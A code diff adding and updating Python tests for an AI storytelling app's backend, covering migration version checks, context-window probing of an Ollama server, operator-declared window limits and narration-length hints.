+    """
+    shared = 0
+    for x, y in zip(before, after):
+        if x != y:
+            break
+        shared += 1
+    return shared / max(1, len(before))
+
+
+def test_the_story_prompt_keeps_its_prefix_across_a_new_turn(saturated):
+    """The property the whole change exists for.
+
+    Not a timing test — it asserts what the timing follows from. The story text
+    a turn sends still opens with almost all of what the previous turn sent, so
+    the server's prompt cache covers that part and only the tail is processed.
+    """
+    db, adventure, settings = saturated
+    _, before, report_before = _builder.build_context(adventure, settings)
+    assert report_before["history"]["floor_depth"] is not None, (
+        "this fixture is meant to be over budget; trimming never engaged")
+
+    # v1.1 WP-A1: the fixture used to be positioned so that the very next turn
+    # held the floor. The safety reserve takes 256 tokens of this 2,048 budget,
+    # the block is now the minimum of two, and the next turn is a step. So walk
+    # forward until a turn holds, requiring every move on the way to be exactly
+    # one block: a window that slides by one action every turn fails either way.
+    held = None
+    depth = 60
+    for _ in range(4):
+        _play_one_more(db, adventure, depth)
+        depth += 1
+        _, after, report_after = _builder.build_context(adventure, settings)
+        floor_before = report_before["history"]["floor_depth"]
+        floor_after = report_after["history"]["floor_depth"]
+        block = report_after["history"]["trim_block"]
+        assert floor_after - floor_before in (0, block), (floor_before, floor_after, block)
+        if floor_after == floor_before:
+            held = (before, after)
+            break
+        before, report_before = after, report_after
+
+    assert held is not None, "the floor never held across a turn"
+    assert _shared_prefix(*held) > 0.85
+
+
+def test_without_a_stable_floor_the_prefix_collapses(saturated):
+    """The control, and the behaviour this replaced.
+
+    Rows with no `depth` cannot be placed on the tree, so the floor cannot be
+    computed and the window takes whatever fits — sliding by one action every
+    turn. The new prompt then starts with a *different* action, the shared
+    prefix collapses, and the server reprocesses essentially the whole thing.
+    That is the 343s case in this module's docstring.
+    """
+    db, adventure, settings = saturated
+    for action in db.query(models.Action).all():
+        action.depth = None
+    db.commit()
+    db.expire_all()
+
+    _, before, report = _builder.build_context(adventure, settings)
+    assert report["history"]["floor_depth"] is None
+    _play_one_more(db, adventure, None)
+    _, after, _ = _builder.build_context(adventure, settings)
+
+    assert _shared_prefix(before, after) < 0.1
+
+
+def test_the_window_does_step_eventually(saturated):
+    """It holds still, but it must not hold still for ever — the budget is a
+    bound, and a window that never moved would break it."""
+    db, adventure, settings = saturated
+    first = _builder.build_context(adventure, settings)[2]["history"]["floor_depth"]
+
+    seen = {first}
+    for depth in range(60, 90):
+        _play_one_more(db, adventure, depth)
+        seen.add(_builder.build_context(adventure, settings)[2]["history"]["floor_depth"])
+    assert len(seen) > 1, "the floor never moved across 30 turns"
+
+
+def test_the_prompt_stays_inside_the_budget_as_the_window_steps(saturated):
+    """M03's bound, across the step. Trimming only ever drops more history."""
+    db, adventure, settings = saturated
+    for depth in range(60, 85):
+        _play_one_more(db, adventure, depth)
+        report = _builder.build_context(adventure, settings)[2]
+        assert report["tokens"]["total"] <= report["tokens"]["budget"]

backend/tests/test_knowledge_migration.py

@@ -34,6 +34,9 @@ from app.routers import adventures
 from fakes import ScriptedProvider, state_block
 
 M6_VERSION = 91
+#: The version M7's own migration introduced. Kept as the number M7 added
+#: rather than as "the newest version": M11 added 93, and a test that conflated
+#: the two would fail on every later migration while proving nothing about M7.
 M7_VERSION = 92
 
 #: Everything M7 adds to the schema. Dropping all of it and rewinding the stamp
@@ -127,7 +130,8 @@ def test_a_fresh_database_gets_every_m7_table_and_the_fts_index(client):
     for table in M7_TABLES:
         assert table in tables
     assert fts.TABLE in tables
-    assert stamp() == migrations.LATEST_VERSION == M7_VERSION
+    # Bootstrapping goes to the newest version, which is M7's or later.
+    assert stamp() == migrations.LATEST_VERSION >= M7_VERSION
 
     # And it works end to end on that fresh database.
     assert upload(client, "canon.md",
@@ -199,7 +203,7 @@ def test_a_real_m6_database_migrates_and_keeps_everything_it_had(client):
 
     migrations.bootstrap(engine)
 
-    assert stamp() == M7_VERSION
+    assert stamp() == migrations.LATEST_VERSION >= M7_VERSION
     tables = set(inspect(engine).get_table_names())
     for table in M7_TABLES + (fts.TABLE,):
         assert table in tables, table
@@ -265,7 +269,7 @@ def test_the_migration_is_idempotent(client):
         rows = len(db.execute(select(models.KnowledgeChunk)).scalars().all())
 
     migrations.bootstrap(engine)
-    assert stamp() == M7_VERSION
+    assert stamp() == migrations.LATEST_VERSION >= M7_VERSION
     with SessionLocal() as db:
         assert len(db.execute(select(models.KnowledgeChunk)).scalars().all()) == rows
     assert len(client.get(f"/api/adventures/{client.adv_id}/knowledge").json()) == 1

backend/tests/test_m10_bundle.py

@@ -243,9 +243,12 @@ def m9_database():
 
     M10's only schema change is the `visual_profiles` table, so an M9-era file
     is exactly this: the current schema without that table, stamped at 92 — the
-    version M9 ended on and, since M10 adds no migration, the version it still
-    ends on. The campaign rows are written before the upgrade, because the claim
-    under test is that they are still there afterwards.
+    version M9 ended on, and the version an M10-era file still carries, because
+    M10 added no migration of its own. Opening it brings it to whatever the
+    current version is; M11 later added 93, which is why these tests compare
+    against `LATEST_VERSION` rather than a literal. The campaign rows are
+    written before the upgrade, because the claim under test is that they are
+    still there afterwards.
     """
     directory = tempfile.mkdtemp(prefix="m10-migrate-")
     path = Path(directory) / "campaign.db"
@@ -283,12 +286,26 @@ def test_an_m9_database_gains_the_new_table_when_it_is_opened(m9_database):
     path, older, adv_id = m9_database
     assert _version(older) == 92
     migrations.bootstrap(older)
-    assert _version(older) == migrations.LATEST_VERSION == 92
+    assert _version(older) == migrations.LATEST_VERSION
     with older.begin() as conn:
         assert conn.execute(text("SELECT COUNT(*) FROM visual_profiles")).scalar() == 0
     assert "ix_visual_profiles_adventure_id" in _indexes(older)
 
 
+def test_no_migration_mentions_the_table_m10_added(m9_database):
+    """M10's actual claim, stated so a later migration cannot invalidate it.
+
+    The first version of this file expressed "M10 adds no migration" as
+    `LATEST_VERSION == 92`, which stopped being true the moment M11 added a
+    column to another table — a fact about M11 that says nothing about M10. The
+    durable claim is that `visual_profiles` arrives through `create_all` and
+    that no migration anywhere touches it.
+    """
+    for _, sql in migrations.MIGRATIONS:
+        body = sql if isinstance(sql, str) else " ".join(sql.values())
+        assert "visual_profiles" not in body, body[:120]
+
+
 def test_the_campaign_that_was_already_there_is_untouched(m9_database):
     path, older, adv_id = m9_database
     migrations.bootstrap(older)
@@ -310,9 +327,10 @@ def test_opening_the_database_repeatedly_is_a_no_op(m9_database):
     path, older, adv_id = m9_database
     migrations.bootstrap(older)
     after_first = _indexes(older)
+    first_version = _version(older)
     for _ in range(2):
         migrations.bootstrap(older)
-    assert _version(older) == 92
+    assert _version(older) == first_version == migrations.LATEST_VERSION
     assert _indexes(older) == after_first
     with older.begin() as conn:
         assert conn.execute(text("SELECT COUNT(*) FROM adventures")).scalar() == 1
@@ -365,7 +383,8 @@ def test_a_backup_of_the_upgraded_database_still_works(m9_database):
                 "SELECT COUNT(*) FROM visual_profiles").fetchone()[0] == 0
             assert copy_db.execute(
                 "SELECT title FROM adventures").fetchone()[0] == "An M9 campaign"
-            assert copy_db.execute("PRAGMA user_version").fetchone()[0] == 92
+            assert copy_db.execute("PRAGMA user_version").fetchone()[0] == (
+                migrations.LATEST_VERSION)
     finally:
         result.path.unlink(missing_ok=True)
 

backend/tests/test_m11_context_window.py

@@ -0,0 +1,393 @@
+"""M11: the application must not silently budget more input than the server accepts.
+
+This is the milestone's release blocker, and the failure it prevents is the
+quiet kind. M8 measured a reference deployment enforcing a **4,096**-token window
+while the application budgeted **16,384**. Every request returned HTTP 200. What
+the server did with the excess is the problem: `llama.cpp` drops the *oldest*
+tokens, and the oldest tokens here are the system block — the narrator's rules
+and the campaign canon. A 100-turn certification run against that server would
+have looked perfect and proved nothing.
+
+So the tests below are in two halves.
+
+**The probe** must find the real window, must refuse to guess when it cannot,
+and must be held to the same endpoint policy as inference — a window probe that
+could reach an address a turn may not would be a hole in ADR 011.
+
+**The enforcement** is the half that matters: a verified window is a *ceiling*,
+and the prompt that comes out of the builder must physically fit inside it. The
+sentinel test is the one to read — a campaign whose canon sits at the front of
+the prompt, a history far too long to fit, and a small verified window. The
+canon must still be there afterwards. That is the difference between the
+application choosing what to drop and the server choosing.
+
+    python -m pytest tests/test_m11_context_window.py -v
+"""
+
+import asyncio
+
+import httpx
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, contextwindow, limits, models
+from app.context import builder
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+from app.routers import adventures
+
+from fakes import ScriptedProvider
+
+ENDPOINT = "http://127.0.0.1:11434/v1"
+
+
+@pytest.fixture(autouse=True)
+def _clear_window_cache():
+    contextwindow.cache_clear()
+    yield
+    contextwindow.cache_clear()
+
+
+# ------------------------------------------------------------ the arithmetic
+
+def test_the_native_api_sits_beside_the_openai_one():
+    assert contextwindow.native_base("http://127.0.0.1:11434/v1") == "http://127.0.0.1:11434"
+    assert contextwindow.native_base("https://box.local:59394/v1/") == "https://box.local:59394"
+    # Not shaped like Ollama's endpoint: used as given rather than guessed at.
+    assert contextwindow.native_base("http://127.0.0.1:8000") == "http://127.0.0.1:8000"
+
+
+def test_a_verified_window_is_a_ceiling():
+    small = contextwindow.Window(4096, contextwindow.LOADED)
+    assert contextwindow.effective_budget(16384, small) == 4096
+
+
+def test_a_smaller_configured_budget_still_wins():
+    """The reader asked for a shorter prompt. The ceiling does not lengthen it."""
+    big = contextwindow.Window(32768, contextwindow.LOADED)
+    assert contextwindow.effective_budget(8000, big) == 8000
+
+
+def test_an_unverified_window_changes_nothing():
+    assert contextwindow.effective_budget(16384, contextwindow.UNVERIFIED) == 16384
+    assert contextwindow.effective_budget(16384, None) == 16384
+
+
+# ----------------------------------------------------------------- the probe
+
+class FakeOllama:
+    """Answers `/api/ps` and `/api/show` the way the real server does.
+
+    Built from the shapes a real Ollama 0.33 returned, recorded in the M11
+    report: `/api/ps` carries `context_length` for a resident model, and
+    `/api/show` carries a plain-text parameter block plus `model_info`.
+    """
+
+    def __init__(self, *, loaded=None, parameters=None, arch_ctx=32768,
+                 show_status=200, ps_status=200):
+        self.loaded = loaded or {}
+        self.parameters = parameters
+        self.arch_ctx = arch_ctx
+        self.show_status = show_status
+        self.ps_status = ps_status
+        self.seen: list[str] = []
+
+    def handler(self, request: httpx.Request) -> httpx.Response:
+        self.seen.append(str(request.url))
+        if request.url.path == "/api/ps":
+            if self.ps_status != 200:
+                return httpx.Response(self.ps_status)
+            return httpx.Response(200, json={"models": [
+                {"name": name, "model": name, "context_length": tokens}
+                for name, tokens in self.loaded.items()
+            ]})
+        if request.url.path == "/api/show":
+            if self.show_status != 200:
+                return httpx.Response(self.show_status, json={})
+            body = {"model_info": {"qwen2.context_length": self.arch_ctx}}
+            if self.parameters is not None:
+                body["parameters"] = self.parameters
+            return httpx.Response(200, json=body)
+        return httpx.Response(404)
+
+
+@pytest.fixture()
+def server(monkeypatch):
+    """Installs a fake Ollama behind httpx, and hands the test the recorder."""
+    holder = {}
+
+    def install(fake: FakeOllama):
+        holder["fake"] = fake
+        original = httpx.AsyncClient
+
+        def build(*args, **kwargs):
+            kwargs.pop("verify", None)
+            return original(*args, transport=httpx.MockTransport(fake.handler), **kwargs)
+
+        monkeypatch.setattr(contextwindow.httpx, "AsyncClient", build)
+        return fake
+
+    return install
+
+
+def test_a_loaded_model_reports_the_window_it_is_being_served_with(server):
+    fake = server(FakeOllama(loaded={"qwen2.5:3b-instruct": 4096}))
+    window = asyncio.run(contextwindow.probe(ENDPOINT, "qwen2.5:3b-instruct"))
+    assert window.tokens == 4096
+    assert window.source == contextwindow.LOADED
+    assert window.verified
+    # Asked the running server first, because a resident model has already
+    # settled the question.
+    assert fake.seen[0].endswith("/api/ps")
+
+
+def test_an_unloaded_model_falls_back_to_what_it_will_load_with(server):
+    server(FakeOllama(loaded={}, parameters="num_ctx                        16384\n"))
+    window = asyncio.run(contextwindow.probe(ENDPOINT, "qwen2.5:3b-instruct-16k"))
+    assert (window.tokens, window.source) == (16384, contextwindow.PARAMETERS)
+    assert window.model_max == 32768
+
+
+def test_a_model_with_no_num_ctx_is_unknown_rather_than_assumed(server):
+    """The case that caused the bug, and it must not be papered over.
+
+    The server will load this at *its* default — 4,096 with no VRAM — but the
+    default is the server's business and is not in any answer it gave us.
+    Reporting 4,096 here would be a guess that happens to be right on one
+    machine, so this reports unknown and says why.
+    """
+    server(FakeOllama(loaded={}, parameters=None))
+    window = asyncio.run(contextwindow.probe(ENDPOINT, "qwen2.5:3b-instruct"))
+    assert not window.verified
+    assert "num_ctx" in window.detail
+    assert window.model_max == 32768  # still useful: raising it is possible
+
+
+def test_the_declared_window_cannot_exceed_the_architecture(server):
+    server(FakeOllama(loaded={}, parameters="num_ctx 999999\n", arch_ctx=32768))
+    assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 32768
+
+
+def test_a_probe_obeys_the_same_endpoint_policy_as_inference():
+    """ADR 011 / H12. A probe is a request, and requests go where turns may go.
+
+    No transport is installed, so a probe that ignored the policy would attempt
+    a real connection to a cloud host. It is refused before that.
+    """
+    for url in ("https://api.openai.com/v1", "http://8.8.8.8:11434/v1",
+                "https://replicate.com/v1"):
+        window = asyncio.run(contextwindow.probe(url, "gpt-4"))
+        assert not window.verified
+        assert "not allowed" in window.detail
+
+
+def test_an_unreachable_server_is_unknown_not_an_exception():
+    """Offline is the ordinary case, and it must not cost a turn."""
+    window = asyncio.run(contextwindow.probe("http://127.0.0.1:1/v1", "any"))
+    assert not window.verified
+    assert window.tokens is None
+
+
+def test_a_server_that_does_not_speak_ollama_is_unknown(server):
+    server(FakeOllama(loaded={}, show_status=404, ps_status=404))
+    assert not asyncio.run(contextwindow.probe(ENDPOINT, "m")).verified
+
+
+def test_the_answer_is_cached_so_it_costs_one_request_a_session(server):
+    fake = server(FakeOllama(loaded={"m": 8192}))
+    for _ in range(5):
+        assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 8192
+    assert len([u for u in fake.seen if u.endswith("/api/ps")]) == 1
+
+
+def test_changing_the_model_or_endpoint_forgets_what_was_learned(server):
+    fake = server(FakeOllama(loaded={"m": 8192, "other": 2048}))
+    assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 8192
+    assert asyncio.run(contextwindow.probe(ENDPOINT, "other")).tokens == 2048
+    contextwindow.cache_clear()
+    assert asyncio.run(contextwindow.probe(ENDPOINT, "m")).tokens == 8192
+    assert len([u for u in fake.seen if u.endswith("/api/ps")]) == 3
+
+
+# ----------------------------------------------------------- the enforcement
+
+@pytest.fixture()
+def client(monkeypatch):
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11cw@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model="qwen2.5:3b-instruct", endpoint_url=ENDPOINT,
+        embedding_model="", context_token_budget=16384, max_output_tokens=800,
+    ))
+    adventure = models.Adventure(
+        user_id=user.id, title="Windowed",
+        # The real canon shape — a dict of rules — not a string. The first
+        # version of this fixture passed a string, `_canon_section` correctly
+        # ignored it, and the sentinel test failed against a product that was
+        # behaving properly. Recorded in the M11 report as a harness defect.
+        campaign_canon={"rules": [
+            "The abbey seal has never been broken.",
+            "The sealed crypt is named CANON-SENTINEL-VERITAS-4417.",
+        ]},
+    )
+    setup.add(adventure)
+    setup.flush()
+    setup.add(models.Action(
+        adventure_id=adventure.id, type="start", text="Rain over Westhaven."))
+    setup.commit()
+    adv_id, user_id = adventure.id, user.id
+    setup.close()
+
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    test_client.adv_id = adv_id
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def _long_story(adv_id, turns=120):
+    """A history far larger than any small window, written straight to the tree.
+
+    Written through the ORM rather than played, because what is under test is
+    the builder's arithmetic against a big story, not the turn engine.
+    """
+    from app import tree
+
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, adv_id)
+        for i in range(turns):
+            for kind, text in (
+                ("do", f"I search the {i}th chamber of the undercroft."),
+                ("ai", "The lantern gutters. " + ("Cold stone, and older dust. " * 40)),
+            ):
+                action = models.Action(adventure_id=adv_id, type=kind, text=text)
+                db.add(action)
+                db.flush()
+                tree.place_action(db, adventure, action)
+        db.commit()
+
+
+def _report(client, window):
+    """Builds the prompt the way a turn would, with `window` as the server's."""
+    with SessionLocal() as db:
+        adventure = db.get(models.Adventure, client.adv_id)
+        settings = db.query(models.Settings).first()
+        return builder.build_context(adventure, settings, window=window)
+
+
+def test_a_small_verified_window_caps_the_budget(client):
+    _long_story(client.adv_id, turns=60)
+    _, _, report = _report(client, contextwindow.Window(4096, contextwindow.LOADED))
+    assert report["tokens"]["budget"] == 4096
+    assert report["tokens"]["configured_budget"] == 16384
+    assert report["window"]["capped"] is True
+    assert report["window"]["verified"] is True
+
+
+def test_the_prompt_physically_fits_inside_the_verified_window(client):
+    """The invariant, measured on the assembled text rather than on intent."""
+    _long_story(client.adv_id, turns=60)
+    system, story, report = _report(
+        client, contextwindow.Window(4096, contextwindow.LOADED))
+    total = builder.count_tokens(system) + builder.count_tokens(story)
+    reserve = report["tokens"]["output_reserve"]
+    assert total + reserve <= 4096, (total, reserve)
+    assert report["tokens"]["total"] == total
+
+
+def test_the_canon_at_the_front_survives_a_window_far_too_small(client):
+    """The sentinel test: the application drops history, the server never gets to.
+
+    `llama.cpp` truncates from the *front*, so if the app over-budgets, the
+    canon is what disappears. Here the story is 120 turns long and the window is
+    4,096 tokens — an enormous overflow — and the canon sentinel must still be
+    in the prompt, with the history cut instead.
+    """
+    _long_story(client.adv_id, turns=120)
+    system, story, report = _report(
+        client, contextwindow.Window(4096, contextwindow.LOADED))
+    assert "CANON-SENTINEL-VERITAS-4417" in system
+    assert builder.count_tokens(system) + builder.count_tokens(story) <= 4096
+    # And it is the history that gave way — the oldest of it, keeping the
+    # newest, which is the choice the application is supposed to be making.
+    assert report["history"]["included"] < report["history"]["total"] / 10
+    assert "119th chamber" in story          # the most recent turn survived
+    assert "0th chamber" not in story        # the oldest did not
+
+
+def test_without_the_cap_the_same_prompt_would_have_overflowed(client):
+    """Proof the test above is testing something: the defect, reproduced.
+
+    The same campaign, the same builder, no verified window — which is exactly
+    what every build before M11 did — produces a prompt several times larger
+    than the server would read. That is the prompt whose front the server would
+    have silently eaten.
+    """
+    _long_story(client.adv_id, turns=120)
+    system, story, _ = _report(client, None)
+    unbounded = builder.count_tokens(system) + builder.count_tokens(story)
+    assert unbounded > 4096 * 2, unbounded
+
+
+def test_an_unverified_window_is_recorded_as_unverified(client):
+    _, _, report = _report(client, contextwindow.UNVERIFIED)
+    assert report["window"]["verified"] is False
+    assert report["window"]["capped"] is False
+    assert report["tokens"]["budget"] == 16384
+
+
+def test_a_window_too_small_for_the_protected_context_fails_with_advice(client):
+    """§32's graceful failure, with the M11 sentence added.
+
+    A 1,024-token server cannot hold the reply reserve plus the canon, and the
+    honest answer is a refusal that says raising the *setting* will not help,
+    because the setting is no longer what is binding.
+    """
+    with pytest.raises(builder.ContextOverflow) as caught:
+        _report(client, contextwindow.Window(1024, contextwindow.LOADED))
+    message = str(caught.value)
+    assert "1024" in message
+    assert "load the model with a larger window" in message
+
+
+def test_a_turn_records_the_window_it_was_built_against(client, monkeypatch):
+    """End to end: the stored snapshot of a real turn carries the verdict.
+
+    This is what makes an old turn auditable — a reviewer can ask of any turn in
+    the campaign whether it was built against a checked window, rather than
+    inferring it from what the settings say today.
+    """
+    async def verified(endpoint, model, declared=None, use_cache=True):
+        return contextwindow.Window(4096, contextwindow.LOADED, 32768, "fake")
+
+    monkeypatch.setattr(adventures.turns.contextwindow, "probe", verified)
+    ScriptedProvider.replies = ["The crypt is still sealed."]
+    response = client.post(f"/api/adventures/{client.adv_id}/actions",
+                           json={"type": "do", "text": "look at the seal"})
+    assert response.status_code == 200, response.text[:300]
+
+    with SessionLocal() as db:
+        from sqlalchemy.orm import undefer
+        action = (
+            db.query(models.Action)
+            .filter(models.Action.adventure_id == client.adv_id,
+                    models.Action.type == "ai")
+            .options(undefer(models.Action.context_snapshot))
+            .order_by(models.Action.id.desc()).first()
+        )
+    snapshot = action.context_snapshot
+    assert snapshot["window"]["verified"] is True
+    assert snapshot["window"]["tokens"] == 4096
+    assert snapshot["tokens"]["budget"] == 4096

backend/tests/test_m11_declared_window.py

@@ -0,0 +1,165 @@
+"""The window an operator declares, for a server that cannot be asked for one.
+
+`contextwindow`'s discovery speaks Ollama's native API. Nothing restricts
+`endpoint_url` to Ollama, so on vLLM, llama.cpp's own server, or anything else
+serving an OpenAI-compatible `/v1`, `/api/ps` and `/api/show` are not there:
+discovery fails as designed, the window is unknown, and the budget is left
+uncapped at whatever is configured. That is M11's own failure mode reached by a
+different route — the server drops the oldest tokens, which here are the
+narrator's rules and the campaign canon.
+
+`Settings.context_window_override` closes it. These tests pin the two properties
+that make it safe rather than merely useful:
+
+1. it is used **only** where discovery left a hole, so it can never talk the
+   application into a longer prompt than a server actually reported, and
+2. it does not make `verified` true, because `verified` means the server
+   answered and a declaration is a person's claim about a server.
+"""
+import asyncio
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, contextwindow, models
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+
+
+UNREACHABLE = "http://127.0.0.1:1/v1"
+
+
+@pytest.fixture(autouse=True)
+def _clear_window_cache():
+    contextwindow.cache_clear()
+    yield
+    contextwindow.cache_clear()
+
+
+@pytest.fixture()
+def client():
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11dw@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model="some-model", endpoint_url=UNREACHABLE,
+        embedding_model="", context_token_budget=16384, max_output_tokens=800,
+    ))
+    setup.commit()
+    user_id = user.id
+    setup.close()
+
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    try:
+        yield TestClient(app)
+    finally:
+        app.dependency_overrides.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def probe(endpoint=UNREACHABLE, model="some-model", declared=None):
+    contextwindow.cache_clear()
+    return asyncio.run(
+        contextwindow.probe(endpoint, model, declared=declared, use_cache=False))
+
+
+# ------------------------------------------------------- filling the hole
+
+def test_without_a_declaration_an_unaskable_server_leaves_the_window_unknown():
+    window = probe()
+    assert window.tokens is None
+    assert not window.verified
+    assert not window.enforceable
+    assert window.source == contextwindow.UNKNOWN
+
+
+def test_a_declaration_becomes_the_ceiling_when_the_server_cannot_be_asked():
+    window = probe(declared=8192)
+    assert window.tokens == 8192
+    assert window.source == contextwindow.DECLARED
+    assert window.enforceable
+    assert contextwindow.effective_budget(16384, window) == 8192
+
+
+def test_a_declaration_does_not_claim_the_server_was_verified():
+    """`window_verified` travels in every turn's provenance and the M11 report
+    counts it. A declaration must not inflate that count."""
+    window = probe(declared=8192)
+    assert window.enforceable
+    assert not window.verified
+
+
+def test_the_detail_says_the_number_came_from_settings():
+    assert "declared in settings" in probe(declared=8192).detail
+
+
+@pytest.mark.parametrize("declared", [None, 0, -1])
+def test_a_missing_or_meaningless_declaration_changes_nothing(declared):
+    window = probe(declared=declared)
+    assert window.tokens is None
+    assert window.source == contextwindow.UNKNOWN
+
+
+def test_a_declaration_still_applies_when_nothing_is_configured():
+    window = asyncio.run(contextwindow.probe("", "", declared=4096))
+    assert window.tokens == 4096
+    assert window.source == contextwindow.DECLARED
+
+
+def test_a_declaration_applies_to_a_refused_endpoint_without_reaching_it():
+    """A refused address is a discovery failure like any other (ADR 011, H12).
+    The declaration caps the prompt; it does not make the endpoint usable, and
+    the turn is still refused where endpoints are enforced."""
+    window = probe(endpoint="http://169.254.169.254/v1", declared=4096)
+    assert window.source == contextwindow.DECLARED
+    assert window.tokens == 4096
+
+
+# ------------------------------------------- a verified answer always wins
+
+def test_a_verified_window_is_not_overridden(monkeypatch):
+    """The safety property. An operator may lower an unknown ceiling into
+    existence; they may never raise one the server reported."""
+    async def reported(endpoint, model):
+        return contextwindow.Window(4096, contextwindow.LOADED, 32768, "real")
+
+    monkeypatch.setattr(contextwindow, "_ask", reported)
+    window = probe(declared=32768)
+    assert window.tokens == 4096
+    assert window.source == contextwindow.LOADED
+    assert window.verified
+    assert contextwindow.effective_budget(16384, window) == 4096
+
+
+def test_a_declared_window_larger_than_the_budget_does_not_raise_it():
+    window = probe(declared=200_000)
+    assert contextwindow.effective_budget(16384, window) == 16384
+
+
+# --------------------------------------------------------------- plumbing
+
+def test_the_override_is_readable_and_settable_through_the_api(client):
+    assert client.get("/api/settings").json()["context_window_override"] is None
+
+    body = client.put("/api/settings",
+                      json={"context_window_override": 8192}).json()
+    assert body["context_window_override"] == 8192
+
+    # And can be taken back off, which `exclude_unset` makes a real distinction:
+    # sending null clears it, sending nothing leaves it alone.
+    body = client.put("/api/settings", json={"temperature": 0.5}).json()
+    assert body["context_window_override"] == 8192
+    body = client.put("/api/settings",
+                      json={"context_window_override": None}).json()
+    assert body["context_window_override"] is None
+
+
+@pytest.mark.parametrize("bad", [255, 200_001])
+def test_the_override_is_bounded_like_the_budget_it_caps(client, bad):
+    assert client.put("/api/settings",
+                      json={"context_window_override": bad}).status_code == 422

backend/tests/test_m11_findings.py

@@ -0,0 +1,358 @@
+"""M11: the post-M8 playtest findings, on the backend side.
+
+Findings A and B are browser-only and are tested in `frontend/src/m11.test.jsx`.
+This file covers finding C, which is half a browser change and half a prompt
+change, and the structural fact finding D asks M11 to check first.
+
+**Finding C, in one sentence:** the campaign's narration-length choice became an
+English sentence in the instructions and moved no number, while the numeric hint
+the model actually reads was derived from the *global* reply cap and therefore
+said the same thing — "must not exceed 506 words, and it should not stop short of
+about 177" — whether the reader chose brief, medium or long.
+
+    python -m pytest tests/test_m11_findings.py -v
+"""
+
+import pytest
+from fastapi import Depends
+from fastapi.testclient import TestClient
+
+from app import auth, bundle, limits, models
+from app.context import builder
+from app.database import Base, SessionLocal, engine, get_db
+from app.main import app
+from app.narrative import model as nmodel
+from app.routers import adventures
+
+from fakes import ScriptedProvider
+
+
+@pytest.fixture()
+def client(monkeypatch):
+    Base.metadata.create_all(bind=engine)
+    setup = SessionLocal()
+    user = models.User(is_guest=False, email="m11f@example.com")
+    setup.add(user)
+    setup.flush()
+    setup.add(models.Settings(
+        user_id=user.id, model="test-model", embedding_model="",
+        context_token_budget=16384, max_output_tokens=800,
+    ))
+    setup.commit()
+    user_id = user.id
+    setup.close()
+    monkeypatch.setattr(limits, "check_row_cap", lambda *a, **k: None)
+    monkeypatch.setattr(adventures.turns, "OpenAICompatibleProvider", ScriptedProvider)
+    app.dependency_overrides[auth.get_current_user] = (
+        lambda db=Depends(get_db): db.get(models.User, user_id)
+    )
+    test_client = TestClient(app)
+    try:
+        yield test_client
+    finally:
+        app.dependency_overrides.clear()
+        adventures.turns._active_turns.clear()
+        Base.metadata.drop_all(bind=engine)
+
+
+def _campaign(client, **fields):
+    body = {"title": "Length", "opening": "Rain over Westhaven."} | fields
+    response = client.post("/api/adventures", json=body)
+    assert response.status_code == 201, response.text[:300]
+    return response.json()
+
+
+def _hint_for(length, cap=800):
+    return builder.length_hint(cap, length)
+
+
+def _numbers(hint):
+    import re
+    return [int(n) for n in re.findall(r"\b(\d+)\b", hint)]
+
+
+# ------------------------------------------------ finding C: the defect itself
+
+def test_the_three_lengths_no_longer_say_the_same_thing():
+    """The finding, as a test that would have failed before M11.
+
+    At the default 800-token cap every length produced the identical sentence.
+    Now each produces a different ceiling, and they are ordered the way the
+    words are.
+    """
+    brief, medium, long = (_hint_for(x) for x in ("brief", "medium", "long"))
+    assert brief != medium != long
+    assert brief != long
+    ceilings = [_numbers(h)[0] for h in (brief, medium, long)]
+    assert ceilings == sorted(ceilings), ceilings
+    assert len(set(ceilings)) == 3
+
+
+def test_a_campaign_with_no_preference_reads_exactly_as_it_did_before():
+    """No existing campaign's prompt changes under the migration.
+
+    The empty value is the pre-M11 behaviour, unchanged — which is what makes a
+    backfill unnecessary rather than merely inconvenient.
+    """
+    assert _hint_for("") == builder.length_hint(800)
+
+
+def test_the_reply_cap_still_wins_over_the_band():
+    """A long campaign on a small cap gets the cap's number, not the band's.
+
+    The cap is what the endpoint will actually emit, so a hint that asked for
+    more would be asking for a truncated turn — and the state block is emitted
+    last, so a truncated turn loses its state.
+    """
+    long_on_small_cap = _hint_for("long", cap=300)
+    assert _numbers(long_on_small_cap)[0] <= _numbers(builder.length_hint(300))[0]
+
+
+def test_the_band_narrows_rather_than_widens_the_cap():
+    for length in ("brief", "medium", "long"):
+        banded = _numbers(_hint_for(length, cap=800))[0]
+        unbanded = _numbers(builder.length_hint(800))[0]
+        assert banded <= unbanded, length
+
+
+def test_every_hint_still_protects_the_state_block():
+    """The invariant the old hint had, kept by the new one."""
+    for length in ("", "brief", "medium", "long"):
+        assert "state block" in _hint_for(length)
+
+
+def test_an_unknown_length_falls_back_rather_than_inventing_a_band():
+    assert _hint_for("epic") == builder.length_hint(800)
+
+
+# ------------------------------------------- finding C: it reaches the prompt
+
+def test_the_choice_is_stored_and_returned(client):
+    campaign = _campaign(client, narration_length="brief")
+    assert campaign["narration_length"] == "brief"
+    assert client.get(f"/api/adventures/{campaign['id']}").json()[
+        "narration_length"] == "brief"
+
+
+def test_the_choice_can_be_changed_afterwards(client):
+    campaign = _campaign(client, narration_length="brief")
